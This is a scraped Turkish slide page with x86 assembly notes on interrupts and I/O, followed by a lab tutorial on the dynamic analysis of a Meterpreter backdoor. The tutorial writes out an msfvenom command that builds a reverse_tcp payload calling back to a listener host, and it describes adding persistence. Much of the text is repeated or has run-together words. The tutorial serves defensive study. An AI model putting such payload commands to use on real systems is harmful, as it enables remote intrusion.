IRQ 3: COM 2 portu (modemler, COM 4, ses ve ağ kartları, teyp yedekleme birimlerini
hızlandıran kartlar)
IRO 4: COM 1 portu (modemler, COM 4, ses ve ağ kartları, teyp yedekleme birimlerini
hızlandıran kartlar)
IRQ 5: Ses kartı (LPT2, LPT3 yani ikinci ve üçüncü paralel portlar COM 3, COM 4,
modemler, ağ kartları, MPEG kartları, teyp yedekleme birimlerini hızlandıran kartlar)
IRQ 6: Disket sürücü denetleyicisi (teyp yedekleme birimlerini hızlandıran kartlar)
IRQ 7: LPT1, yani ilk paralel port (LPT2, COM 3, COM 4, modemler, ağ kartları, ses kartları,
teyp yedekleme birimlerini hızlandıran kartları
IRQ 8: Gerçek zamanlı saat.
IRQ 9: (Ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, yeniden yönlendirilen IRQ2
aygıtları)
IRQ 10: (Ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, ikinci ve dördüncü IDE
kanalları)
IRQ 11: (Görüntü kartları, ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, üçüncü ve
dördüncü IDE kanalları)
IRQ 12: PS/2 fare (Görüntü kartları, ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar,
üçüncü IDE kanalı)
IRQ 13: FPU, yani matematik işlemci.
IRQ 14: Birinci IDE kanalı (SCSI kartlar)
IRQ 15: İkinci IDE kanalı (Ağ ve SCSI kartlar)
İntel sistemlerde kesmeler işlevlerine göre 3'e ayrılır.
BIOS KESMELERİ
1 mb adres alanının son 64 K'sıolan(F0000-FFFFF) EPROM içerisinde bulunan makine dilinde
yazılmış kodlardır. EPROM içerisindeki kesme kodlarının bulunduğu bölgeye BIOS denir.
Kodu burada bulunan kesmeler çeşitli kontrol kartlarının programlayarak işletim
sisteminden bağımsız çok temel işlemleri gerçekleştirmektedir. BIOS kesmeleri video,
aşağı seviyeli disk işlemleri, klavye işlemleri gibi işletim sistemine bile gereksinim
duymayan çok temel işlemleri gerçekleştirmektedir.
DOS KESMELERİ
DOS'un belleğe yüklenmesiyle yaratılırlar, bütün DOS işlemleri birtakım DOS kesmelerinin
çağırılmasıyla sağlanmaktadır. 21h numaralı kesme DOS'un temel bütün fonksiyonlarını
yerine getirmektedir.
ÖZEL KESMELER
Özel bazı programların belleğe yüklediği kesme kodlarıdır. Örneğin mouse işlemleri için 33h
kesmesi kullanılır (dos'ta). Ancak mouse.com programının yüklenmesiyle bu kesme kodları
belleğe yüklenir.
Interrupt Vector Table Nedir?
x86 mimarisinde Türkçe anlamı Kesme Vektör Tablosu(IVT) real modda kullanılan 256
interrupt işleyicisinin tümünün adreslerini belirten bir tablodur.
BDA - BIOS Data Area Nedir?
BIOS Data Area kısmen sanallaştırılmış real mode BIOS işlemleriyle ilgili alandır.
Kaynakça:
https://tr.wikipedia.org/wiki/İşletim_sistemi
https://tr.wikipedia.org/wiki/BIOS
https://docplayer.biz.tr/15248899-S...ek-baska-bir-kodu-calistirmasi-islemidir.html
https://wiki.osdev.org/Memory_Map_(x86)
EKRAN VE KLAVYE İŞLEMLERİ
Assambly Ekran ve Klavye İşlemleri
Bu haftaki konumuz x86 Assambly dilinde ekrana yazı yazdırma ve klavyeden veri girme
konusuna değineceyim. Konumuza geçmeden önce interrupt 80 için yapabileceğimiz
işlemlerin listesini ve seçeceğimiz işlemlerde registerlere hangi verileri girmemiz gerektiğinin
tablosunu vereceğim.
https://i.imgyukle.com/2021/04/27/OXsg38.png
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-
32_bit
32 bit içindir bu veriler tamamına linkten erişebilirsiniz.
Resimdede gördüğünüz gibi hangi registere ne değer atayabileceğimiz göstermektedir.
Burdaki işlemlerden birini kullanmak için ise eax registeri yazan kısımı kodumuza eklememiz
gerekiyor.
Ekrana yazı yazdırma ile başlayalım. Çok meşhur olan Hello Word örneği ile başlamasak
olmazdı. :)
https://i.imgyukle.com/2021/04/27/OXsioj.png
section .data bölümü ile başlayacak olursak ekrana verme kısmını daha iyi anlamak adına.
Gördüğünüz gibi msg nin içine Hello word yazısı atılmış bunu db ile ve tırnak işaretleri içine
alarak bu değeri string bir değer olarak atadığını düşünebiliriz.
Len equ $-msg de ise mesajın uzunluğunu len değerine eşitlemiştir. Bu uzunluk ne için önemli
diyecek olursak hafızada ona göre yer ayıracağı için.
Şimdi asıl işlemlerin döndüğü noktaya dönelim.
https://i.imgyukle.com/2021/04/27/OXssLo.png
ilk vermiş olduğum kaynakcaya bakacak olursa ekrana yazı yazdırmak için mesajın
uzunluğunu edx ‘e yazmamız gerekiyor mesajımıızı ecx ‘e yollamamız gerekiyor. Çıkışın
nereye gideceğini belirlemek için ise ebx belitmemiz gerekiyor ekrana vereceğimiz için 1
değerini veriyoruz.
Eax registerimizede hangi işlemi yapacaksak interreput 80 için onun kodunu yazıyoruz
çıkış yapma işlemi içinde gördüğünüz gibi eax değerine 1 atadık.
Ek olarak da ekran modlarının kısaca örneklerndireceğim.
40*25 lik bir ekran açtırmak istiyorsak
https://i.imgyukle.com/2021/04/27/OXsGxA.png
80*25 lik bir ekran açtırmak istiyorsak
https://i.imgyukle.com/2021/04/27/OXsmD1.png
Grafik modlu ekranı getirmek istiyorsak
https://i.imgyukle.com/2021/04/27/OXsvbI.png
Şimdiki konumuz ise klavyeden veri okumak
https://i.imgyukle.com/2021/04/27/OXs1Qf.png
şimdi ise inceleyeceğimiz kod bir hesap makinasına ait ve parça parça diğineceğiz.
En üste kırmızı ile başlarını çizdiğim yerleri yapmanızı öneririm eax değerine yazacağınız
sayıyı ezberlemek yerine amacını belirten kelimelere eşitleyerekte kullanabilirsiniz.
Segment .data kısmı bir yere yazı yazdırmada kullandığımız işlemler mesajın atanması ve
uzunluğunun hesaplanması
segment .bss ise değişkenler alarak düşünebiliriz. Örnek verecek olursak c dilinde ( int
a,b,c )diye oluşturduğumuz değişkenlere benzetebiliriz.
https://i.imgyukle.com/2021/04/27/OXsKgG.png
mavi ile işaretlediğim yerler ekrana yazı yazdırmak için kırmızı ile işaretlediklerim ise
klavyeden veri girişi içindir.
Asıl matematiksel işlemlerin döndüğü yere gelelim.
https://i.imgyukle.com/2021/04/27/OXsq8S.png
ilk girilen sayısal verinin ASCII değeri sıfırdan çıkarılıyor aynısı 2. içinde yapılıyor bizde bu
işlemi gerçekleştirecek olursak.
1. girilen değer 2
2. girilen değer 3
1. değerin ASCII değerini Sıfırın ASCII değerinden çıkar ( 32-30 = 2 )
2. değerin ASCII değerini Sıfırın ASCII değerinden çıkar ( 33-30 = 3 )
ilk adımda bunları gerçekleştiriyor 1. değer eax e kaydoluyor 2. değer de ebx e sonra bunları
topluyor add komutu ile.
Sonucun 5 olduğunu biliyoruz ancak assembly bize bu bilgiyi ekrana yazdırması için ASCII
karşılığına ihtiyaç duymaktadır. Bu yuzden eax değerine sıfırın ASCII karşılığı olan 30 ile
topluyor sonucuda (res) değişkenine atıyor. Şimdi ekranda yazdırılabilecek durumda :)
sonraki işlemde gördüğünüz gibi res geğerini ekrana yazdırma rituelini gerçekleştiriyor ve
yazdırdıktan sonra çıkış işlemi ile programı sonlandırıyor.
TEMEL GİRİŞ ve ÇIKIŞ TEKNİKLERİ
Merhabalar.Bu konumuzdaAssemblyilegirişve çıkışişlemlerinedeğineceğim.Girişve çıkış
komutlarınıinceleyeceğiz.
Inputve Outputyani kısaca I/Okomutlarıverilerinmikroişlemci-portarasındaki aktarımilişkisini
sağlamaktadır.
Verilergirişportundanalınırsaverininboyutunagöre işlemcimimarisineuygunregisterlardanalınır.
Yani 8 bitlikveri Al,16 bitAX,32 bit EAXregisterlarınaalınır.Verilerçıkışportunagönderilecekseyine
uygunregisterlaraalındıktansonraçıkış portunagönderilir.
Burada bahsi geçenportkavramını açıklamak gerekirse sistemindışdünyaylailişkisini kurankapı
numaraları gibi düşünebiliriz.Mikroişlemcilerimizgirişçıkışişlemlerindebellekharitalıve yalıtılmış
girişçıkış işlemlerini kullanırlar.Girişçıkışişlemlerindeki portadresleri statikve dinamikformatlarda
tanımlanabilir.Statikadreslemede A7ve A0hatlarına yerleşilir0-255 arası değeralınır. Dinamik
adreslemede adreslerDXkaydedicisinealınır0 ile 65535 arasında toplamda65536 port
tanımlanabilir.BudaadresyolundaA0 ile A15 hatlarınıntamamını kapsar.
Temel teorikbilgilerdensonrabirkaçAssemblykoduinceleyelim.
OUT instruction
OUT, bir bağlantınoktasınabyte yani 8bit veyaWord yani 16bitlikverileriçıktılar.AL ve AX
kaydedicilerini kullanır.
OUT 3BH, AL
AL kaydedicisininiçeriğini3BHbağlantınoktası adresine kopyalar.
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2

More Related Content

What's hot

BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA Cyber Security
 
OWASP ZAP
OWASP ZAPOWASP ZAP
OWASP ZAP
Alper Başaran
 
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuNmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Mehmet Caner Köroğlu
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
Fuat Ulugay, CISSP
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
BGA Cyber Security
 
Snort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) EğitimiSnort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) EğitimiBGA Cyber Security
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab ÇalışmalarıUygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
BGA Cyber Security
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
BGA Cyber Security
 
Hping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif ÇalışmalarıHping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif ÇalışmalarıBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaBeyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
PRISMA CSI
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
BGA Cyber Security
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit AşamasıBeyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
PRISMA CSI
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 

What's hot (20)

BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
 
OWASP ZAP
OWASP ZAPOWASP ZAP
OWASP ZAP
 
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuNmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
Snort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) EğitimiSnort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) Eğitimi
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
 
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab ÇalışmalarıUygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
 
Hping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif ÇalışmalarıHping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif Çalışmaları
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaBeyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
Nmap Kullanım Kitapçığı
Nmap Kullanım KitapçığıNmap Kullanım Kitapçığı
Nmap Kullanım Kitapçığı
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
 
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit AşamasıBeyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 

Similar to Hacking'in Mavi Tarafı -2

W3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIW3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIBGA Cyber Security
 
Bilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği MetasploitBilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği Metasploit
msoner
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
BGA Cyber Security
 
45965 php-source-code-analysis
45965 php-source-code-analysis45965 php-source-code-analysis
45965 php-source-code-analysis
Attaporn Ninsuwan
 
SIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARI
SIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARISIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARI
SIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARI
MehmetEminDOAN1
 
Anet SureLog SIEM IntelligentResponse
Anet SureLog SIEM IntelligentResponse Anet SureLog SIEM IntelligentResponse
Anet SureLog SIEM IntelligentResponse
Ertugrul Akbas
 
ARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit GeliştirmeARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit Geliştirme
SignalSEC Ltd.
 
Infraskope Security Event Manager
Infraskope  Security  Event  ManagerInfraskope  Security  Event  Manager
Infraskope Security Event Managerlogyonetimi
 
Nurdan Sarıkaya
Nurdan Sarıkaya Nurdan Sarıkaya
Nurdan Sarıkaya
Nurdan Sarıkaya
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
BGA Cyber Security
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Mehmet Ince
 
Metasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik DenetimiMetasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik DenetimiFatih Ozavci
 
Jetico personal firewall 2
Jetico personal firewall 2Jetico personal firewall 2
Jetico personal firewall 2Mutlu
 
Temel linux
Temel linuxTemel linux
Temel linux
emreberber07
 
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İbrahim UÇAR
 
Android mimari-cekirdek-binding-scheduler
Android mimari-cekirdek-binding-schedulerAndroid mimari-cekirdek-binding-scheduler
Android mimari-cekirdek-binding-scheduler
Ercan Pinar
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
Ertugrul Akbas
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı

Similar to Hacking'in Mavi Tarafı -2 (20)

W3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIW3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – II
 
Bilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği MetasploitBilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği Metasploit
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
45965 php-source-code-analysis
45965 php-source-code-analysis45965 php-source-code-analysis
45965 php-source-code-analysis
 
SIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARI
SIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARISIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARI
SIZMA TESTLERİNDE ŞİFRE KIRMA SALDIRILARI
 
Anet SureLog SIEM IntelligentResponse
Anet SureLog SIEM IntelligentResponse Anet SureLog SIEM IntelligentResponse
Anet SureLog SIEM IntelligentResponse
 
ARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit GeliştirmeARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit Geliştirme
 
Infraskope Security Event Manager
Infraskope  Security  Event  ManagerInfraskope  Security  Event  Manager
Infraskope Security Event Manager
 
Nurdan Sarıkaya
Nurdan Sarıkaya Nurdan Sarıkaya
Nurdan Sarıkaya
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
 
2010 07
2010 072010 07
2010 07
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
Metasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik DenetimiMetasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik Denetimi
 
Jetico personal firewall 2
Jetico personal firewall 2Jetico personal firewall 2
Jetico personal firewall 2
 
Temel linux
Temel linuxTemel linux
Temel linux
 
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
 
Holynix v1
Holynix v1Holynix v1
Holynix v1
 
Android mimari-cekirdek-binding-scheduler
Android mimari-cekirdek-binding-schedulerAndroid mimari-cekirdek-binding-scheduler
Android mimari-cekirdek-binding-scheduler
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
Unix Denetim Dokümanı
 

Hacking'in Mavi Tarafı -2

  • 2. Backdoor temel dinamikzararlıanaliz Herkese merhabadeğerliTHTailesi bukonumdasizlere Backdooradlıyani türkçe'si ile Arkakapı virüsününtemel dinamikanalizini gerçekleştireceğim.Herkese faydalıolmasıdileğiyle... Temel dinamikanalizinde kullanacağımızaraçlar: 1.Processexplorer 2.Procmon(Processmonitor) 3.Wireshark Bu araçlardan kısaca bahsedeyim. 1.Processexplorernedir? Processexplorerişletim sistemimizde çalışanişlemleri yani programları,ramkullanımlarınıve cpugibi süreçlerintakibini yapabileceğimizportable programıdır. 2.Procmon(Processmonitor) nedir? Procmonbir diğeradı ile processmonitortümdosyasistemi aktivitelerini anlıkolarakizleyip,takip edip,analizini yapabileceğimizgelişmişbirprogramdır. 3.Wiresharknedir? Wiresharkağ sorunlarınıgiderme,ağpaketlerini izleme ve çözümlemegibi birçokseçeneksunan profesyonel açıkkaynakkodlubiraraçtır. Backdoor diye birkavramdandabahsettik.Peki backdoornedir? Örnekolarakbir sisteme sızdınız.Sızdığınızsistemdekalıcılığıhedefliyorolabilirsinizbununiçin backdooradlı virüsükarşı sisteme atıpistediğinizbirzamandiliminde yenidenosisteme erişim sağlayabilirsiniz.Yani sistemitekrardanistismaretmenizegerekkalmayacaktır.
  • 3. Kullanacağımişletimsistemleri WindowsXPve Backbox Linux.Analizimi yapacağımsistemWindows XP,Saldırganmakinemise Backbox Linux işletimsistemi. Senaryoyukısacaözetleyecek olursak: İlkönce Backbox Linux işletimsistemimdemsfvenomile birtane virüsoluşturupWindowsXP makineme atacağım.VirüsüattıktansonraBackbox Linux işletimsistemimde m3tasploit'e geçerek dinleme işlemine başlayacağım, WindowsXPmakinemdevirüslü exedosyasınaçifttıklayacağımve Backbox Linux işletimsistemimde birtane meterpreteroturumudüşecek.Meterpreteroturumu düştüktensonram3tasploit'de bulunanmeterpreter'ınözelliği olanpersistence adlıözelliğikullanıp WindowsXPmakinemdeBackdoor oluşturmayıhedefliyorum.Bizde asıl analizimizi,oluşturulan Backdoor üzerinde yapacağız. Senaryoyudaözetlediğimizegöre artıkgerekli adımlarabaşlayabiliriz. Önceliklemsfvenomile birtane virüsoluşturuyorum: Kod: msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.190.140 LPORT=4444 -f exe -o /home/backbox/Desktop/malware.exe Yukarıdaki koddamsfvenomile "windows/meterpreter/reverse_tcp"adlıpayload'ıseçtik.Seçtikten sonra LHOST kısmına yerel ağdabulunduğumipadresimiverdimve LPORTyazankısmaysavirüsün dinleyeceğiportadresini verdimyani "4444" portunuverdim."-f"yazankısmavirüsümünhangi uzantıda ya da hangi 